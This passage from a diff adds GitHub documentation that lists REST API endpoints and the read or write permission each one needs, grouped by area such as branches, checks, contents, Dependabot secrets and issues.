/repos/:owner/:repo`](/rest/reference/repos#update-a-repository) (write) +- [`DELETE /repos/:owner/:repo`](/rest/reference/repos#delete-a-repository) (write) +- [`GET /repos/:owner/:repo/actions/runners/downloads`](/rest/reference/actions#list-runner-applications-for-a-repository) (read) +- [`GET /repos/:owner/:repo/actions/runners`](/rest/reference/actions#list-self-hosted-runners-for-a-repository) (read) +- [`GET /repos/:owner/:repo/actions/runners/:runner_id`](/rest/reference/actions#get-a-self-hosted-runner-for-a-repository) (read) +- [`DELETE /repos/:owner/:repo/actions/runners/:runner_id`](/rest/reference/actions#delete-a-self-hosted-runner-from-a-repository) (write) +- [`GET /repos/:owner/:repo/actions/runners/:runner_id/labels`](/rest/reference/actions#list-labels-for-a-self-hosted-runner-for-a-repository) (read) +- [`POST /repos/:owner/:repo/actions/runners/:runner_id/labels`](/rest/reference/actions#add-custom-labels-to-a-self-hosted-runner-for-a-repository) (write) +- [`PUT /repos/:owner/:repo/actions/runners/:runner_id/labels`](/rest/reference/actions#set-custom-labels-for-a-self-hosted-runner-for-a-repository) (write) +- [`DELETE /repos/:owner/:repo/actions/runners/:runner_id/labels`](/rest/reference/actions#remove-all-custom-labels-from-a-self-hosted-runner-for-a-repository) (write) +- [`DELETE /repos/:owner/:repo/actions/runners/:runner_id/labels/:name`](/rest/reference/actions#remove-a-custom-label-from-a-self-hosted-runner-for-a-repository) (write) +{% ifversion fpt or ghec or ghes -%} +- [`POST /repos/:owner/:repo/actions/runners/registration-token`](/rest/reference/actions#create-a-registration-token-for-a-repository) (write) +- [`POST /repos/:owner/:repo/actions/runners/remove-token`](/rest/reference/actions#create-a-remove-token-for-a-repository) (write) +{% endif -%} +{% ifversion fpt or ghec -%} +- [`PUT /repos/:owner/:repo/automated-security-fixes`](/rest/reference/repos#enable-automated-security-fixes) (write) +{% endif -%} +{% ifversion fpt or ghec -%} +- [`DELETE /repos/:owner/:repo/automated-security-fixes`](/rest/reference/repos#disable-automated-security-fixes) (write) +{% endif -%} +- [`POST /repos/:owner/:repo/forks`](/rest/reference/repos#create-a-fork) (write) +{% ifversion fpt or ghec -%} +- [`GET /repos/:owner/:repo/interaction-limits`](/rest/reference/interactions#get-interaction-restrictions-for-a-repository) (read) +{% endif -%} +{% ifversion fpt or ghec -%} +- [`PUT /repos/:owner/:repo/interaction-limits`](/rest/reference/interactions#set-interaction-restrictions-for-a-repository) (write) +{% endif -%} +{% ifversion fpt or ghec -%} +- [`DELETE /repos/:owner/:repo/interaction-limits`](/rest/reference/interactions#remove-interaction-restrictions-for-a-repository) (write) +{% endif -%} +{% ifversion fpt or ghec -%} +- [`GET /repos/:owner/:repo/pages/health`](/rest/reference/pages#get-a-dns-health-check-for-github-pages) (write) +{% endif -%} +{% ifversion ghes > 3.3 -%} +- [`GET /repos/:owner/:repo/replicas/caches`](/rest/reference/repos#list-repository-cache-replication-status) (read) +{% endif -%} +- [`PUT /repos/:owner/:repo/topics`](/rest/reference/repos#replace-all-repository-topics) (write) +- [`POST /repos/:owner/:repo/transfer`](/rest/reference/repos#transfer-a-repository) (write) +{% ifversion fpt or ghec -%} +- [`GET /repos/:owner/:repo/vulnerability-alerts`](/rest/reference/repos#enable-vulnerability-alerts) (read) +{% endif -%} +{% ifversion fpt or ghec -%} +- [`PUT /repos/:owner/:repo/vulnerability-alerts`](/rest/reference/repos#enable-vulnerability-alerts) (write) +{% endif -%} +{% ifversion fpt or ghec -%} +- [`DELETE /repos/:owner/:repo/vulnerability-alerts`](/rest/reference/repos#disable-vulnerability-alerts) (write) +{% endif -%} +- [`PATCH /user/repository_invitations/:invitation_id`](/rest/reference/collaborators#accept-a-repository-invitation) (write) +- [`DELETE /user/repository_invitations/:invitation_id`](/rest/reference/collaborators#decline-a-repository-invitation) (write) + +### Branches +- [`GET /repos/:owner/:repo/branches/:branch/protection`](/rest/reference/branches#get-branch-protection) (read) +- [`PUT /repos/:owner/:repo/branches/:branch/protection`](/rest/reference/branches#update-branch-protection) (write) +- [`DELETE /repos/:owner/:repo/branches/:branch/protection`](/rest/reference/branches#delete-branch-protection) (write) +- [`GET /repos/:owner/:repo/branches/:branch/protection/enforce_admins`](/rest/reference/branches#get-admin-branch-protection) (read) +- [`POST /repos/:owner/:repo/branches/:branch/protection/enforce_admins`](/rest/reference/branches#set-admin-branch-protection) (write) +- [`DELETE /repos/:owner/:repo/branches/:branch/protection/enforce_admins`](/rest/reference/branches#delete-admin-branch-protection) (write) +- [`GET /repos/:owner/:repo/branches/:branch/protection/required_pull_request_reviews`](/rest/reference/branches#get-pull-request-review-protection) (read) +- [`PATCH /repos/:owner/:repo/branches/:branch/protection/required_pull_request_reviews`](/rest/reference/branches#update-pull-request-review-protection) (write) +- [`DELETE /repos/:owner/:repo/branches/:branch/protection/required_pull_request_reviews`](/rest/reference/branches#delete-pull-request-review-protection) (write) +- [`GET /repos/:owner/:repo/branches/:branch/protection/required_signatures`](/rest/reference/branches#get-commit-signature-protection) (read) +- [`POST /repos/:owner/:repo/branches/:branch/protection/required_signatures`](/rest/reference/branches#create-commit-signature-protection) (write) +- [`DELETE /repos/:owner/:repo/branches/:branch/protection/required_signatures`](/rest/reference/branches#delete-commit-signature-protection) (write) +- [`GET /repos/:owner/:repo/branches/:branch/protection/required_status_checks`](/rest/reference/branches#get-status-checks-protection) (read) +- [`PATCH /repos/:owner/:repo/branches/:branch/protection/required_status_checks`](/rest/reference/branches#update-status-check-protection) (write) +- [`DELETE /repos/:owner/:repo/branches/:branch/protection/required_status_checks`](/rest/reference/branches#remove-status-check-protection) (write) +- [`GET /repos/:owner/:repo/branches/:branch/protection/required_status_checks/contexts`](/rest/reference/branches#get-all-status-check-contexts) (read) +- [`POST /repos/:owner/:repo/branches/:branch/protection/required_status_checks/contexts`](/rest/reference/branches#add-status-check-contexts) (write) +- [`PUT /repos/:owner/:repo/branches/:branch/protection/required_status_checks/contexts`](/rest/reference/branches#set-status-check-contexts) (write) +- [`DELETE /repos/:owner/:repo/branches/:branch/protection/required_status_checks/contexts`](/rest/reference/branches#remove-status-check-contexts) (write) +- [`GET /repos/:owner/:repo/branches/:branch/protection/restrictions`](/rest/reference/branches#get-access-restrictions) (read) +- [`DELETE /repos/:owner/:repo/branches/:branch/protection/restrictions`](/rest/reference/branches#delete-access-restrictions) (write) +- [`GET /repos/:owner/:repo/branches/:branch/protection/restrictions/teams`](/rest/reference/repos#list-teams-with-access-to-the-protected-branch) (read) +- [`POST /repos/:owner/:repo/branches/:branch/protection/restrictions/teams`](/rest/reference/branches#add-team-access-restrictions) (write) +- [`PUT /repos/:owner/:repo/branches/:branch/protection/restrictions/teams`](/rest/reference/branches#set-team-access-restrictions) (write) +- [`DELETE /repos/:owner/:repo/branches/:branch/protection/restrictions/teams`](/rest/reference/branches#remove-team-access-restrictions) (write) +- [`GET /repos/:owner/:repo/branches/:branch/protection/restrictions/users`](/rest/reference/repos#list-users-with-access-to-the-protected-branch) (read) +- [`POST /repos/:owner/:repo/branches/:branch/protection/restrictions/users`](/rest/reference/branches#add-user-access-restrictions) (write) +- [`PUT /repos/:owner/:repo/branches/:branch/protection/restrictions/users`](/rest/reference/branches#set-user-access-restrictions) (write) +- [`DELETE /repos/:owner/:repo/branches/:branch/protection/restrictions/users`](/rest/reference/branches#remove-user-access-restrictions) (write) +- [`POST /repos/:owner/:repo/branches/:branch/rename`](/rest/reference/branches#rename-a-branch) (write) + +### Collaborators +- [`PUT /repos/:owner/:repo/collaborators/:username`](/rest/reference/collaborators#add-a-repository-collaborator) (write) +- [`DELETE /repos/:owner/:repo/collaborators/:username`](/rest/reference/collaborators#remove-a-repository-collaborator) (write) + +### Invitations +- [`GET /repos/:owner/:repo/invitations`](/rest/reference/collaborators#list-repository-invitations) (read) +- [`PATCH /repos/:owner/:repo/invitations/:invitation_id`](/rest/reference/collaborators#update-a-repository-invitation) (write) +- [`DELETE /repos/:owner/:repo/invitations/:invitation_id`](/rest/reference/collaborators#delete-a-repository-invitation) (write) + +### SSH keys +- [`GET /repos/:owner/:repo/keys`](/rest/reference/deployments#list-deploy-keys) (read) +- [`POST /repos/:owner/:repo/keys`](/rest/reference/deployments#create-a-deploy-key) (write) +- [`GET /repos/:owner/:repo/keys/:key_id`](/rest/reference/deployments#get-a-deploy-key) (read) +- [`DELETE /repos/:owner/:repo/keys/:key_id`](/rest/reference/deployments#delete-a-deploy-key) (write) + +### Teams +- [`GET /repos/:owner/:repo/teams`](/rest/reference/repos#list-repository-teams) (read) +- [`PUT /teams/:team_id/repos/:owner/:repo`](/rest/reference/teams#add-or-update-team-repository-permissions) (write) +- [`DELETE /teams/:team_id/repos/:owner/:repo`](/rest/reference/teams#remove-a-repository-from-a-team) (write) + +{% ifversion fpt or ghec %} +### Traffic +- [`GET /repos/:owner/:repo/traffic/clones`](/rest/reference/repository-metrics#get-repository-clones) (read) +- [`GET /repos/:owner/:repo/traffic/popular/paths`](/rest/reference/repository-metrics#get-top-referral-paths) (read) +- [`GET /repos/:owner/:repo/traffic/popular/referrers`](/rest/reference/repository-metrics#get-top-referral-sources) (read) +- [`GET /repos/:owner/:repo/traffic/views`](/rest/reference/repository-metrics#get-page-views) (read) +{% endif %} + +{% ifversion fpt or ghec %} +## Blocking users + +- [`GET /user/blocks`](/rest/reference/users#list-users-blocked-by-the-authenticated-user) (read) +- [`GET /user/blocks/:username`](/rest/reference/users#check-if-a-user-is-blocked-by-the-authenticated-user) (read) +- [`PUT /user/blocks/:username`](/rest/reference/users#block-a-user) (write) +- [`DELETE /user/blocks/:username`](/rest/reference/users#unblock-a-user) (write) +{% endif %} + +## Checks + +- [`POST /repos/:owner/:repo/check-runs`](/rest/reference/checks#create-a-check-run) (write) +- [`GET /repos/:owner/:repo/check-runs/:check_run_id`](/rest/reference/checks#get-a-check-run) (read) +- [`PATCH /repos/:owner/:repo/check-runs/:check_run_id`](/rest/reference/checks#update-a-check-run) (write) +- [`GET /repos/:owner/:repo/check-runs/:check_run_id/annotations`](/rest/reference/checks#list-check-run-annotations) (read) +- [`POST /repos/:owner/:repo/check-suites`](/rest/reference/checks#create-a-check-suite) (write) +- [`GET /repos/:owner/:repo/check-suites/:check_suite_id`](/rest/reference/checks#get-a-check-suite) (read) +- [`GET /repos/:owner/:repo/check-suites/:check_suite_id/check-runs`](/rest/reference/checks#list-check-runs-in-a-check-suite) (read) +- [`POST /repos/:owner/:repo/check-suites/:check_suite_id/rerequest`](/rest/reference/checks#rerequest-a-check-suite) (write) +- [`PATCH /repos/:owner/:repo/check-suites/preferences`](/rest/reference/checks#update-repository-preferences-for-check-suites) (write) +- [`GET /repos/:owner/:repo/commits/:sha/check-runs`](/rest/reference/checks#list-check-runs-for-a-git-reference) (read) +- [`GET /repos/:owner/:repo/commits/:sha/check-suites`](/rest/reference/checks#list-check-suites-for-a-git-reference) (read) + +## Code scanning alerts + +- [`GET /repos/:owner/:repo/code-scanning/alerts`](/rest/reference/code-scanning#list-code-scanning-alerts-for-a-repository) (read) +- [`GET /repos/:owner/:repo/code-scanning/alerts/:alert_number`](/rest/reference/code-scanning#get-a-code-scanning-alert) (read) +- [`PATCH /repos/:owner/:repo/code-scanning/alerts/:alert_number`](/rest/reference/code-scanning#update-a-code-scanning-alert) (write) +- [`GET /repos/:owner/:repo/code-scanning/alerts/:alert_number/instances`](/rest/reference/code-scanning#list-instances-of-a-code-scanning-alert) (read) +- [`GET /repos/:owner/:repo/code-scanning/analyses`](/rest/reference/code-scanning#list-code-scanning-analyses-for-a-repository) (read) +- [`GET /repos/:owner/:repo/code-scanning/analyses/:analysis_id`](/rest/reference/code-scanning#get-a-code-scanning-analysis-for-a-repository) (read) +{% ifversion fpt or ghec or ghes -%} +- [`DELETE /repos/:owner/:repo/code-scanning/analyses/:analysis_id`](/rest/reference/code-scanning#delete-a-code-scanning-analysis-from-a-repository) (write) +{% endif -%} +- [`POST /repos/:owner/:repo/code-scanning/sarifs`](/rest/reference/code-scanning#upload-an-analysis-as-sarif-data) (write) +- [`GET /repos/:owner/:repo/code-scanning/sarifs/:sarif_id`](/rest/reference/code-scanning#get-information-about-a-sarif-upload) (read) +{% ifversion fpt or ghec or ghes > 3.4 or ghae > 3.4 -%} +- [`GET /orgs/:org/code-scanning/alerts`](/rest/reference/code-scanning#list-code-scanning-alerts-by-organization) (read) +{% endif -%} + +{% ifversion fpt or ghec %} +## Codespaces + +- [`GET /repos/:owner/:repo/codespaces/machines`](/rest/reference/codespaces#list-available-machine-types-for-a-repository) +{% endif %} + +## Commit statuses + +- [`GET /repos/:owner/:repo/commits/:ref/status`](/rest/reference/commits#get-the-combined-status-for-a-specific-reference) (read) +- [`GET /repos/:owner/:repo/commits/:ref/statuses`](/rest/reference/commits#list-commit-statuses-for-a-reference) (read) +- [`POST /repos/:owner/:repo/statuses/:sha`](/rest/reference/commits#create-a-commit-status) (write) + +## Contents + +- [`GET /repos/:owner/:repo/:archive_format/:ref`](/rest/reference/repos#download-a-repository-archive) (read) +{% ifversion fpt or ghec -%} +- [`GET /repos/:owner/:repo/actions/artifacts/:artifact_id`](/rest/reference/actions#get-an-artifact) (read) +{% endif -%} +{% ifversion fpt or ghec -%} +- [`DELETE /repos/:owner/:repo/actions/artifacts/:artifact_id`](/rest/reference/actions#delete-an-artifact) (write) +{% endif -%} +{% ifversion fpt or ghec -%} +- [`GET /repos/:owner/:repo/actions/artifacts/:artifact_id/zip`](/rest/reference/actions#download-an-artifact) (read) +{% endif -%} +{% ifversion fpt or ghec -%} +- [`GET /repos/:owner/:repo/actions/jobs/:job_id`](/rest/reference/actions#get-a-job-for-a-workflow-run) (read) +{% endif -%} +{% ifversion fpt or ghec -%} +- [`GET /repos/:owner/:repo/actions/jobs/:job_id/logs`](/rest/reference/actions#download-job-logs-for-a-workflow-run) (read) +{% endif -%} +{% ifversion fpt or ghec -%} +- [`GET /repos/:owner/:repo/actions/runs`](/rest/reference/actions#list-workflow-runs-for-a-repository) (read) +{% endif -%} +{% ifversion fpt or ghec -%} +- [`GET /repos/:owner/:repo/actions/runs/:run_id`](/rest/reference/actions#get-a-workflow-run) (read) +{% endif -%} +{% ifversion fpt or ghec -%} +- [`GET /repos/:owner/:repo/actions/runs/:run_id/artifacts`](/rest/reference/actions#list-workflow-run-artifacts) (read) +{% endif -%} +{% ifversion fpt -%} +- [`POST /repos/:owner/:repo/actions/runs/:run_id/cancel`](/rest/reference/actions#cancel-a-workflow-run) (write) +{% endif -%} +{% ifversion fpt or ghec -%} +- [`GET /repos/:owner/:repo/actions/runs/:run_id/jobs`](/rest/reference/actions#list-jobs-for-a-workflow-run) (read) +{% endif -%} +{% ifversion fpt or ghec -%} +- [`GET /repos/:owner/:repo/actions/runs/:run_id/logs`](/rest/reference/actions#download-workflow-run-logs) (read) +{% endif -%} +{% ifversion fpt or ghec -%} +- [`DELETE /repos/:owner/:repo/actions/runs/:run_id/logs`](/rest/reference/actions#delete-workflow-run-logs) (write) +{% endif -%} +{% ifversion fpt -%} +- [`POST /repos/:owner/:repo/actions/runs/:run_id/rerun`](/rest/reference/actions#re-run-a-workflow) (write) +{% endif -%} +{% ifversion fpt or ghec -%} +- [`GET /repos/:owner/:repo/actions/secrets`](/rest/reference/actions#list-repository-secrets) (write) +{% endif -%} +{% ifversion fpt or ghec -%} +- [`GET /repos/:owner/:repo/actions/secrets/:name`](/rest/reference/actions#get-a-repository-secret) (write) +{% endif -%} +{% ifversion fpt or ghec -%} +- [`PUT /repos/:owner/:repo/actions/secrets/:name`](/rest/reference/actions#create-or-update-a-repository-secret) (write) +{% endif -%} +{% ifversion fpt or ghec -%} +- [`DELETE /repos/:owner/:repo/actions/secrets/:name`](/rest/reference/actions#delete-a-repository-secret) (write) +{% endif -%} +{% ifversion fpt or ghec -%} +- [`GET /repos/:owner/:repo/actions/secrets/public-key`](/rest/reference/actions#get-a-repository-public-key) (write) +{% endif -%} +{% ifversion fpt or ghec -%} +- [`GET /repos/:owner/:repo/actions/workflows`](/rest/reference/actions#list-repository-workflows) (read) +{% endif -%} +{% ifversion fpt or ghec -%} +- [`GET /repos/:owner/:repo/actions/workflows/:workflow_id`](/rest/reference/actions#get-a-workflow) (read) +{% endif -%} +{% ifversion fpt or ghec -%} +- [`GET /repos/:owner/:repo/actions/workflows/:workflow_id/runs`](/rest/reference/actions#list-workflow-runs) (read) +{% endif -%} +- [`GET /repos/:owner/:repo/check-runs/:check_run_id`](/rest/reference/checks#get-a-check-run) (read) +- [`GET /repos/:owner/:repo/check-runs/:check_run_id/annotations`](/rest/reference/checks#list-check-run-annotations) (read) +- [`GET /repos/:owner/:repo/check-suites/:check_suite_id`](/rest/reference/checks#get-a-check-suite) (read) +- [`GET /repos/:owner/:repo/check-suites/:check_suite_id/check-runs`](/rest/reference/checks#list-check-runs-in-a-check-suite) (read) +- [`POST /repos/:owner/:repo/check-suites/:check_suite_id/rerequest`](/rest/reference/checks#rerequest-a-check-suite) (write) +{% ifversion codeowners-errors %} +- [`GET /repos/:owner/:repo/codeowners/errors`](/rest/reference/repos#list-codeowners-errors) (read) +{% endif %} +- [`GET /repos/:owner/:repo/commits`](/rest/reference/commits#list-commits) (read) +- [`GET /repos/:owner/:repo/commits/:sha`](/rest/reference/commits#get-a-commit) (read) +- [`GET /repos/:owner/:repo/commits/:sha/check-runs`](/rest/reference/checks#list-check-runs-for-a-git-reference) (read) +- [`GET /repos/:owner/:repo/commits/:sha/check-suites`](/rest/reference/checks#list-check-suites-for-a-git-reference) (read) +- [`GET /repos/:owner/:repo/community/code_of_conduct`](/rest/reference/codes-of-conduct#get-the-code-of-conduct-for-a-repository) (read) +- [`GET /repos/:owner/:repo/compare/:base...:head`](/rest/reference/commits#compare-two-commits) (read) +- [`GET /repos/:owner/:repo/contents/:path`](/rest/reference/repos#get-repository-content) (read) +- [`POST /repos/:owner/:repo/dispatches`](/rest/reference/repos#create-a-repository-dispatch-event) (write) +- [`POST /repos/:owner/:repo/forks`](/rest/reference/repos#create-a-fork) (read) +- [`POST /repos/:owner/:repo/merges`](/rest/reference/branches#merge-a-branch) (write) +- [`PUT /repos/:owner/:repo/pulls/:pull_number/merge`](/rest/reference/pulls#merge-a-pull-request) (write) +- [`GET /repos/:owner/:repo/readme(?:/(.*))?`](/rest/reference/repos#get-a-repository-readme) (read) + +### Branches +- [`GET /repos/:owner/:repo/branches`](/rest/reference/branches#list-branches) (read) +- [`GET /repos/:owner/:repo/branches/:branch`](/rest/reference/branches#get-a-branch) (read) +- [`GET /repos/:owner/:repo/branches/:branch/protection/restrictions/apps`](/rest/reference/repos#list-apps-with-access-to-the-protected-branch) (write) +- [`POST /repos/:owner/:repo/branches/:branch/protection/restrictions/apps`](/rest/reference/branches#add-app-access-restrictions) (write) +- [`PUT /repos/:owner/:repo/branches/:branch/protection/restrictions/apps`](/rest/reference/branches#set-app-access-restrictions) (write) +- [`DELETE /repos/:owner/:repo/branches/:branch/protection/restrictions/apps`](/rest/reference/branches#remove-user-access-restrictions) (write) +- [`POST /repos/:owner/:repo/branches/:branch/rename`](/rest/reference/branches#rename-a-branch) (write) + +### Commit comments +- [`PATCH /repos/:owner/:repo/comments/:comment_id`](/rest/reference/commits#update-a-commit-comment) (write) +- [`DELETE /repos/:owner/:repo/comments/:comment_id`](/rest/reference/commits#delete-a-commit-comment) (write) +- [`POST /repos/:owner/:repo/comments/:comment_id/reactions`](/rest/reference/reactions#create-reaction-for-a-commit-comment) (write) +- [`POST /repos/:owner/:repo/commits/:sha/comments`](/rest/reference/commits#create-a-commit-comment) (write) + +### Git +- [`POST /repos/:owner/:repo/git/blobs`](/rest/reference/git#create-a-blob) (write) +- [`GET /repos/:owner/:repo/git/blobs/:sha`](/rest/reference/git#get-a-blob) (read) +- [`POST /repos/:owner/:repo/git/commits`](/rest/reference/git#create-a-commit) (write) +- [`GET /repos/:owner/:repo/git/commits/:commit_id`](/rest/reference/git#get-a-commit) (read) +- [`POST /repos/:owner/:repo/git/refs`](/rest/reference/git#create-a-reference) (write) +- [`GET /repos/:owner/:repo/git/ref/:ref`](/rest/reference/git#get-a-reference) (read) +- [`GET /repos/:owner/:repo/git/matching-refs/:ref`](/rest/reference/git#list-matching-references) (read) +- [`PATCH /repos/:owner/:repo/git/refs/:ref`](/rest/reference/git#update-a-reference) (write) +- [`DELETE /repos/:owner/:repo/git/refs/:ref`](/rest/reference/git#delete-a-reference) (write) +- [`POST /repos/:owner/:repo/git/tags`](/rest/reference/git#create-a-tag-object) (write) +- [`GET /repos/:owner/:repo/git/tags/:tag_id`](/rest/reference/git#get-a-tag) (read) +- [`POST /repos/:owner/:repo/git/trees`](/rest/reference/git#create-a-tree) (write) +- [`GET /repos/:owner/:repo/git/trees/:sha`](/rest/reference/git#get-a-tree) (read) + +{% ifversion fpt or ghec %} +### Import +- [`GET /repos/:owner/:repo/import`](/rest/reference/migrations#get-an-import-status) (read) +- [`PUT /repos/:owner/:repo/import`](/rest/reference/migrations#start-an-import) (write) +- [`PATCH /repos/:owner/:repo/import`](/rest/reference/migrations#update-an-import) (write) +- [`DELETE /repos/:owner/:repo/import`](/rest/reference/migrations#cancel-an-import) (write) +- [`GET /repos/:owner/:repo/import/authors`](/rest/reference/migrations#get-commit-authors) (read) +- [`PATCH /repos/:owner/:repo/import/authors/:author_id`](/rest/reference/migrations#map-a-commit-author) (write) +- [`GET /repos/:owner/:repo/import/large_files`](/rest/reference/migrations#get-large-files) (read) +- [`PATCH /repos/:owner/:repo/import/lfs`](/rest/reference/migrations#update-git-lfs-preference) (write) +{% endif %} + +### Reactions +- [`DELETE /reactions/:reaction_id`](/rest/reference/reactions#delete-a-reaction-legacy) (write) +- [`DELETE /repos/:owner/:repo/comments/:comment_id/reactions/:reaction_id`](/rest/reference/reactions#delete-a-commit-comment-reaction) (write) +- [`DELETE /repos/:owner/:repo/issues/:issue_number/reactions/:reaction_id`](/rest/reference/reactions#delete-an-issue-reaction) (write) +- [`DELETE /repos/:owner/:repo/issues/comments/:comment_id/reactions/:reaction_id`](/rest/reference/reactions#delete-an-issue-comment-reaction) (write) +- [`DELETE /repos/:owner/:repo/pulls/comments/:comment_id/reactions/:reaction_id`](/rest/reference/reactions#delete-a-pull-request-comment-reaction) (write) +- [`DELETE /orgs/:org/teams/:team_slug/discussions/:discussion_number/reactions/:reaction_id`](/rest/reference/reactions#delete-team-discussion-reaction) (write) +- [`DELETE /orgs/:org/teams/:team_slug/discussions/:discussion_number/comments/:comment_number/reactions/:reaction_id`](/rest/reference/reactions#delete-team-discussion-comment-reaction) (write) + +### Releases +- [`GET /repos/:owner/:repo/releases`](/rest/reference/repos/#list-releases) (read) +- [`POST /repos/:owner/:repo/releases`](/rest/reference/repos/#create-a-release) (write) +- [`GET /repos/:owner/:repo/releases/:release_id`](/rest/reference/repos/#get-a-release) (read) +- [`PATCH /repos/:owner/:repo/releases/:release_id`](/rest/reference/repos/#update-a-release) (write) +- [`DELETE /repos/:owner/:repo/releases/:release_id`](/rest/reference/repos/#delete-a-release) (write) +- [`GET /repos/:owner/:repo/releases/:release_id/assets`](/rest/reference/repos/#list-release-assets) (read) +- [`GET /repos/:owner/:repo/releases/assets/:asset_id`](/rest/reference/repos/#get-a-release-asset) (read) +- [`PATCH /repos/:owner/:repo/releases/assets/:asset_id`](/rest/reference/repos/#update-a-release-asset) (write) +- [`DELETE /repos/:owner/:repo/releases/assets/:asset_id`](/rest/reference/repos/#delete-a-release-asset) (write) +- [`GET /repos/:owner/:repo/releases/latest`](/rest/reference/repos/#get-the-latest-release) (read) +- [`GET /repos/:owner/:repo/releases/tags/:tag`](/rest/reference/repos/#get-a-release-by-tag-name) (read) + +{% ifversion dependabot-alerts-rest-api %} +## Dependabot alerts + +- [`GET /repos/:owner/:repo/dependabot/alerts`](/rest/dependabot/alerts#list-dependabot-alerts-for-a-repository) (read) +- [`GET /repos/:owner/:repo/dependabot/alerts/:alert_number`](/rest/dependabot/alerts#get-a-dependabot-alert) (read) +- [`PATCH /repos/:owner/:repo/dependabot/alerts/:alert_number`](/rest/dependabot/alerts#update-a-dependabot-alert) (write) +{% endif %} + +{% ifversion fpt or ghec or ghes > 3.3%} +## Dependabot secrets + +- [`GET /repos/:owner/:repo/dependabot/secrets/public-key`](/rest/reference/dependabot#get-a-repository-public-key) (read) +- [`GET /repos/:owner/:repo/dependabot/secrets`](/rest/reference/dependabot#list-repository-secrets) (read) +- [`GET /repos/:owner/:repo/dependabot/secrets/:secret_name`](/rest/reference/dependabot#get-a-repository-secret) (read) +- [`PUT /repos/:owner/:repo/dependabot/secrets/:secret_name`](/rest/reference/dependabot#create-or-update-a-repository-secret) (write) +- [`DELETE /repos/:owner/:repo/dependabot/secrets/:secret_name`](/rest/reference/dependabot#delete-a-repository-secret) (write) +- [`GET /orgs/:org/dependabot/secrets/public-key`](/rest/reference/dependabot#get-an-organization-public-key) (read) +- [`GET /orgs/:org/dependabot/secrets`](/rest/reference/dependabot#list-organization-secrets) (read) +- [`GET /orgs/:org/dependabot/secrets/:secret_name`](/rest/reference/dependabot#get-an-organization-secret) (read) +- [`PUT /orgs/:org/dependabot/secrets/:secret_name`](/rest/reference/dependabot#create-or-update-an-organization-secret) (write) +- [`GET /orgs/:org/dependabot/secrets/:secret_name/repositories`](/rest/reference/dependabot#list-selected-repositories-for-an-organization-secret) (read) +- [`PUT /orgs/:org/dependabot/secrets/:secret_name/repositories`](/rest/reference/dependabot#set-selected-repositories-for-an-organization-secret) (write) +- [`PUT /orgs/:org/dependabot/secrets/:secret_name/repositories/:repository_id`](/rest/reference/dependabot#add-selected-repository-to-an-organization-secret) (write) +- [`DELETE /orgs/:org/dependabot/secrets/:secret_name/repositories/:repository_id`](/rest/reference/dependabot#remove-selected-repository-from-an-organization-secret) (write) +- [`DELETE /orgs/:org/dependabot/secrets/:secret_name`](/rest/reference/dependabot#delete-an-organization-secret) (write) +{% endif %} + +## Deployments + +- [`GET /repos/:owner/:repo/deployments`](/rest/reference/deployments#list-deployments) (read) +- [`POST /repos/:owner/:repo/deployments`](/rest/reference/deployments#create-a-deployment) (write) +- [`GET /repos/:owner/:repo/deployments/:deployment_id`](/rest/reference/deployments#get-a-deployment) (read) +- [`DELETE /repos/:owner/:repo/deployments/:deployment_id`](/rest/reference/deployments#delete-a-deployment) (write) +- [`GET /repos/:owner/:repo/deployments/:deployment_id/statuses`](/rest/reference/deployments#list-deployment-statuses) (read) +- [`POST /repos/:owner/:repo/deployments/:deployment_id/statuses`](/rest/reference/deployments#create-a-deployment-status) (write) +- [`GET /repos/:owner/:repo/deployments/:deployment_id/statuses/:status_id`](/rest/reference/deployments#get-a-deployment-status) (read) + +{% ifversion fpt or ghes or ghec %} +## Email addresses + +{% ifversion fpt or ghec -%} +- [`PATCH /user/email/visibility`](/rest/reference/users#set-primary-email-visibility-for-the-authenticated-user) (write) +{% endif -%} +- [`GET /user/emails`](/rest/reference/users#list-email-addresses-for-the-authenticated-user) (read) +- [`POST /user/emails`](/rest/reference/users#add-an-email-address-for-the-authenticated-user) (write) +- [`DELETE /user/emails`](/rest/reference/users#delete-an-email-address-for-the-authenticated-user) (write) +- [`GET /user/public_emails`](/rest/reference/users#list-public-email-addresses-for-the-authenticated-user) (read) +{% endif %} + +## Followers + +- [`GET /user/followers`](/rest/reference/users#list-followers-of-a-user) (read) +- [`GET /user/following`](/rest/reference/users#list-the-people-a-user-follows) (read) +- [`GET /user/following/:username`](/rest/reference/users#check-if-a-person-is-followed-by-the-authenticated-user) (read) +- [`PUT /user/following/:username`](/rest/reference/users#follow-a-user) (write) +- [`DELETE /user/following/:username`](/rest/reference/users#unfollow-a-user) (write) + +## Git SSH keys + +- [`GET /user/keys`](/rest/reference/users#list-public-ssh-keys-for-the-authenticated-user) (read) +- [`POST /user/keys`](/rest/reference/users#create-a-public-ssh-key-for-the-authenticated-user) (write) +- [`GET /user/keys/:key_id`](/rest/reference/users#get-a-public-ssh-key-for-the-authenticated-user) (read) +- [`DELETE /user/keys/:key_id`](/rest/reference/users#delete-a-public-ssh-key-for-the-authenticated-user) (write) + +## GPG keys + +- [`GET /user/gpg_keys`](/rest/reference/users#list-gpg-keys-for-the-authenticated-user) (read) +- [`POST /user/gpg_keys`](/rest/reference/users#create-a-gpg-key-for-the-authenticated-user) (write) +- [`GET /user/gpg_keys/:gpg_key_id`](/rest/reference/users#get-a-gpg-key-for-the-authenticated-user) (read) +- [`DELETE /user/gpg_keys/:gpg_key_id`](/rest/reference/users#delete-a-gpg-key-for-the-authenticated-user) (write) + +{% ifversion fpt or ghec %} +## Interaction limits + +- [`GET /user/interaction-limits`](/rest/reference/interactions#get-interaction-restrictions-for-your-public-repositories) (read) +- [`PUT /user/interaction-limits`](/rest/reference/interactions#set-interaction-restrictions-for-your-public-repositories) (write) +- [`DELETE /user/interaction-limits`](/rest/reference/interactions#remove-interaction-restrictions-from-your-public-repositories) (write) +{% endif %} + +## Issues + +Issues and pull requests are closely related. For more information, see "[List issues assigned to the authenticated user](/rest/reference/issues#list-issues-assigned-to-the-authenticated-user)." If your GitHub App has permissions on issues but not on pull requests, these endpoints will be limited to issues. Endpoints that return both issues and pull requests will be filtered. Endpoints that allow operations on both issues and pull requests will be restricted to issues. + +- [`GET /repos/:owner/:repo/issues`](/rest/reference/issues#list-repository-issues) (read) +- [`POST /repos/:owner/:repo/issues`](/rest/reference/issues#create-an-issue) (write) +- [`GET /repos/:owner/:repo/issues/:issue_number`](/rest/reference/issues#get-an-issue) (read) +- [`PATCH /repos/:owner/:repo/issues/:issue_number`](/rest/reference/issues#update-an-issue) (write) +- [`GET /repos/:owner/:repo/issues/:issue_number/comments`](/rest/reference/issues#list-issue-comments) (read) +- [`POST 